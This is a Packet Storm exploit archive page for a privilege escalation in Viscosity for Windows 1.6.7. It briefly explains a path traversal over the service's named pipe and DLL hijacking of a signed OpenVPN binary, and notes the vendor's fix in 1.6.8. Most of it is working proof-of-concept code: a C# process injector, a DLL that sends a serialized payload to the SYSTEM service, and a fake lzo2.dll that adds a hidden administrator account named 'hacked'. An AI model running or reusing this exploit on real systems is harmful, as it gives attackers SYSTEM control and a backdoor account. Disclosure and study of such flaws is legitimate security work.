the original cloud security

Viscosity For Windows 1.6.7 Privilege Escalation

Viscosity For Windows 1.6.7 Privilege Escalation
Posted Jan 31, 2017
Authored by Kacper Szurek

Viscosity for Windows version 1.6.7 suffers from a privilege escalation vulnerability. It is possible to execute openvpn with a custom dll as SYSTEM using ViscosityService because the path is not correctly validated.

tags | exploit
systems | windows
MD5 | 1efec6f3ea2f04fc83efd29c4e2ad149

Viscosity For Windows 1.6.7 Privilege Escalation

Change Mirror Download
Viscosity for Windows 1.6.7 Privilege Escalation
30 Jan 2017

Homepage:
https://www.sparklabs.com/

Description:

ViscosityService runs as SYSTEM process.

wmic service where name="ViscosityService" get StartName
StartName
LocalSystem

Viscosity.exe contacts with service using named pipe.

Only files digitally signed by SparkLabs can use this pipe because of usage of new X509Certificate2(X509Certificate.CreateFromSignedFile());.

But itas possible to bypass this by injecting our DLL into Viscosity.exe.

So now we can send any commands to service using DLL.

Inside service there is method startOpenVPN which is responsible for executing openvpn.exe as SYSTEM user.

One of the parameter of this method is openVPNVer which is used to generate valid path to exe file:

if (string.IsNullOrWhiteSpace(openVPNVer))
{
text = Path.Combine(text, "openvpn.exe");
}
else
{
text = Path.Combine(text, openVPNVer, "openvpn.exe");
}

Of course from Viscosity GUI we have limited options for choosing this parameter.

But because we control pipe, we can send anything, for example: ..\..\.

Now we control path to binary which will be executed.

There is another problem in order to get privilege escalation.

Before executing openvpn.exe from given path, service again check if this exe file is signed by SparkLabs.

We can bypass this too. How? Using DLL Hijacking.

OpenVPN signed by SparkLabs uses 6 DLL (which donat need to be signed).

So we can copy this signed OpenVPN to our directory and replace one of the external dll, for example lzo2.dll with our custom dll.

Then, service will allow execution of this signed openvpn.exe which will load and execute our custom, non signed dll.
Proof of Concept:

Download Visual Studio Project

For injecting into Viscosity process I use simple C# injector (you need to compile this using x64 architecture):

using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;

public class Program
{
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public uint dwProcessId;
public uint dwThreadId;
}

public struct STARTUPINFO
{
public uint cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}

public enum ProcessCreationFlags : uint
{
ZERO_FLAG = 0x00000000,
CREATE_BREAKAWAY_FROM_JOB = 0x01000000,
CREATE_DEFAULT_ERROR_MODE = 0x04000000,
CREATE_NEW_CONSOLE = 0x00000010,
CREATE_NEW_PROCESS_GROUP = 0x00000200,
CREATE_NO_WINDOW = 0x08000000,
CREATE_PROTECTED_PROCESS = 0x00040000,
CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000,
CREATE_SEPARATE_WOW_VDM = 0x00001000,
CREATE_SHARED_WOW_VDM = 0x00001000,
CREATE_SUSPENDED = 0x00000004,

}

[DllImport("kernel32.dll")]
public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, ProcessCreationFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);

[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);

[DllImport("kernel32.dll", CharSet = CharSet.Auto)]
public static extern IntPtr GetModuleHandle(string lpModuleName);

[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

[DllImport("kernel32.dll", ExactSpelling = true, SetLastError = true)]
private static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);

[DllImport("kernel32.dll")]
private static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

private static int Main(string[] args)
{
Console.WriteLine("Viscosity for Windows 1.6.7 Privilege Escalation");
Console.WriteLine("by Kacper Szurek");
Console.WriteLine("http://security.szurek.pl/");
Console.WriteLine("https://twitter.com/KacperSzurek");

string exploitPath = @"C:\z\";
string currentDir = Path.GetDirectoryName(System.Reflection.Assembly.GetExecutingAssembly().Location);
string dllPath = Path.Combine(currentDir, "Dll.dll");

if (!System.IO.File.Exists(Path.Combine(currentDir, "Dll.dll")))
{
Console.WriteLine("Missing Dll.dll. Did you copy all dependency?");
return 1;
}

if (!System.IO.Directory.Exists(exploitPath))
{
System.IO.Directory.CreateDirectory(exploitPath);
}

System.IO.File.Copy(@"C:\Program Files\Viscosity\Resources\OpenVPN2.3\msvcp120.dll", @"C:\z\msvcp120.dll", true);
System.IO.File.Copy(@"C:\Program Files\Viscosity\Resources\OpenVPN2.3\msvcr120.dll", @"C:\z\msvcr120.dll", true);
System.IO.File.Copy(@"C:\Program Files\Viscosity\Resources\OpenVPN2.3\ssleay32.dll", @"C:\z\ssleay32.dll", true);
System.IO.File.Copy(@"C:\Program Files\Viscosity\Resources\OpenVPN2.3\libeay32.dll", @"C:\z\libeay32.dll", true);
System.IO.File.Copy(@"C:\Program Files\Viscosity\Resources\OpenVPN2.3\libpkcs11-helper-1.dll", @"C:\z\libpkcs11-helper-1.dll", true);
System.IO.File.Copy(@"C:\Program Files\Viscosity\Resources\OpenVPN2.3\openvpn.exe", @"C:\z\openvpn.exe", true);
System.IO.File.Copy(Path.Combine(currentDir, "Lzo.dll"), @"C:\z\lzo2.dll", true);

STARTUPINFO startupInfo = default(STARTUPINFO);
PROCESS_INFORMATION processInformation = default(PROCESS_INFORMATION);
UIntPtr lpNumberOfBytesWritten;
if (!Program.CreateProcess(@"c:\Program Files\Viscosity\Viscosity.exe", null, IntPtr.Zero, IntPtr.Zero, false, ProcessCreationFlags.CREATE_SUSPENDED, IntPtr.Zero, null, ref startupInfo, out processInformation))
{
Console.WriteLine("Cannot create Viscosity process");
return 1;
}

uint dwProcessId = processInformation.dwProcessId;
IntPtr hProcess = Program.OpenProcess(1082, false, (int)dwProcessId);
IntPtr procAddress = Program.GetProcAddress(Program.GetModuleHandle("kernel32.dll"), "LoadLibraryA");


IntPtr intPtr = Program.VirtualAllocEx(hProcess, IntPtr.Zero, (uint)((dllPath.Length + 1) * Marshal.SizeOf(typeof(char))), 12288u, 4u);
Program.WriteProcessMemory(hProcess, intPtr, Encoding.Default.GetBytes(dllPath), (uint)((dllPath.Length + 1) * Marshal.SizeOf(typeof(char))), out lpNumberOfBytesWritten);
Program.CreateRemoteThread(hProcess, IntPtr.Zero, 0u, procAddress, intPtr, 0u, IntPtr.Zero);

Console.WriteLine("Wait for message from thread");

return 0;
}
}

Injected dll is written in C (also you need to compile this using x64):

#include "stdafx.h"

BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
DWORD dwWritten = 0;
char buffer[128];
DWORD numBytesRead = 0;

HANDLE hPipe = CreateFile(TEXT("\\\\.\\Pipe\\ViscosityNamedPipe5zstaa0123s"), GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);

if (hPipe == INVALID_HANDLE_VALUE) {
MessageBoxA(NULL, "Is Viscocity service running?", "FAILED", MB_OK);
return true;
}

WriteFile(hPipe, "10924\n", 6, &dwWritten, NULL);

WriteFile(hPipe,
"AAEAAAD/////AQAAAAAAAAAQAQAAAAQAAAAGAgAAAAxzdGFydE9wZW5WUE4GAwAAAAhyYW5kb21pZAYEAAAACy4uLy4uLy4uL3ovCQUAAAAMBgAAAEdWaXNjb3NpdHlTZXJ2aWNlLCBWZXJzaW9uPTEuNi43LjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49bnVsbAUFAAAAG3pJVllnSnBPOGlRZDlIQlNJeFNCeEtaYlNZaQoAAAAOY29uZmlnRmlsZVBhdGgPYWR2Q29uZmlnVmFsdWVzDGNvbmZpZ1ZhbHVlcxJjdXN0b21Db25maWdWYWx1ZXMMZG5zdjZTZXJ2ZXJzDXJlbW90ZVNlcnZlcnMGcm91dGVzCmlwdjZyb3V0ZXMMZG5zdjRTZXJ2ZXJzCmRuc0RvbWFpbnMBAwMDAwMDAwMD1AJTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5EaWN0aW9uYXJ5YDJbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkxpc3RgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1d4gFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5EaWN0aW9uYXJ5YDJbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1d4gFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5EaWN0aW9uYXJ5YDJbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1df1N5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkxpc3RgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV1/U3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuTGlzdGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXfEBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuTGlzdGAxW1tTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5MaXN0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXfEBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuTGlzdGAxW1tTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5MaXN0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXX9TeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5MaXN0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1df1N5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkxpc3RgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GAAAABgcAAAAEdGVzdAkIAAAACQkAAAAJCgAAAAkLAAAACQwAAAAJDQAAAAkOAAAACQ8AAAAJEAAAAAQIAAAA1AJTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5EaWN0aW9uYXJ5YDJbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkxpc3RgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dAwAAAAdWZXJzaW9uCENvbXBhcmVyCEhhc2hTaXplAAMACJIBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuR2VuZXJpY0VxdWFsaXR5Q29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAAAAAAkRAAAAAAAAAAQJAAAA4gFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5EaWN0aW9uYXJ5YDJbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dAwAAAAdWZXJzaW9uCENvbXBhcmVyCEhhc2hTaXplAAMACJIBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuR2VuZXJpY0VxdWFsaXR5Q29tcGFyZXJgMVtbU3lzdGVtLlN0cml
10924,
&dwWritten,
NULL);

if (dwWritten != 10924) {
MessageBoxA(NULL, "Cannot write to service", "FAILED", MB_OK);
return true;
}

BOOL result = ReadFile(hPipe, buffer, 127 * sizeof(char), &numBytesRead, NULL);
if (!result) {
MessageBoxA(NULL, "Cannot read from service", "FAILED", MB_OK);
return true;
}

buffer[numBytesRead] = '\0';

MessageBoxA(NULL, buffer, "Output", MB_OK);
}
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

Fake lzo2.dll is also written in C (but this one is x86):

#include "stdafx.h"

#define EXTERN_DLL_EXPORT extern "C" __declspec(dllexport)

EXTERN_DLL_EXPORT int __lzo_init_v2() {
return 1;
}

EXTERN_DLL_EXPORT int lzo_version_string() {
return 1;
}

EXTERN_DLL_EXPORT int lzo1x_1_15_compress() {
return 1;
}

EXTERN_DLL_EXPORT int lzo1x_decompress_safe() {
return 1;
}

BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
STARTUPINFO si;
PROCESS_INFORMATION pi;

ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));

CreateProcessA("C:\\Windows\\System32\\cmd.exe",
"/C net user hacked /add && net localgroup administrators hacked /add",
NULL, NULL, FALSE, 0, NULL, NULL, (LPSTARTUPINFOA)&si, &pi);

WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return false;
}

Timeline:

13-01-2017: Discovered
13-01-2017: Vendor notified
16-01-2017: Version 1.6.8 released, issue resolved


Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

October 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    15 Files
  • 2
    Oct 2nd
    16 Files
  • 3
    Oct 3rd
    15 Files
  • 4
    Oct 4th
    15 Files
  • 5
    Oct 5th
    11 Files
  • 6
    Oct 6th
    6 Files
  • 7
    Oct 7th
    2 Files
  • 8
    Oct 8th
    1 Files
  • 9
    Oct 9th
    13 Files
  • 10
    Oct 10th
    16 Files
  • 11
    Oct 11th
    15 Files
  • 12
    Oct 12th
    23 Files
  • 13
    Oct 13th
    13 Files
  • 14
    Oct 14th
    12 Files
  • 15
    Oct 15th
    2 Files
  • 16
    Oct 16th
    16 Files
  • 17
    Oct 17th
    16 Files
  • 18
    Oct 18th
    15 Files
  • 19
    Oct 19th
    10 Files
  • 20
    Oct 20th
    7 Files
  • 21
    Oct 21st
    4 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close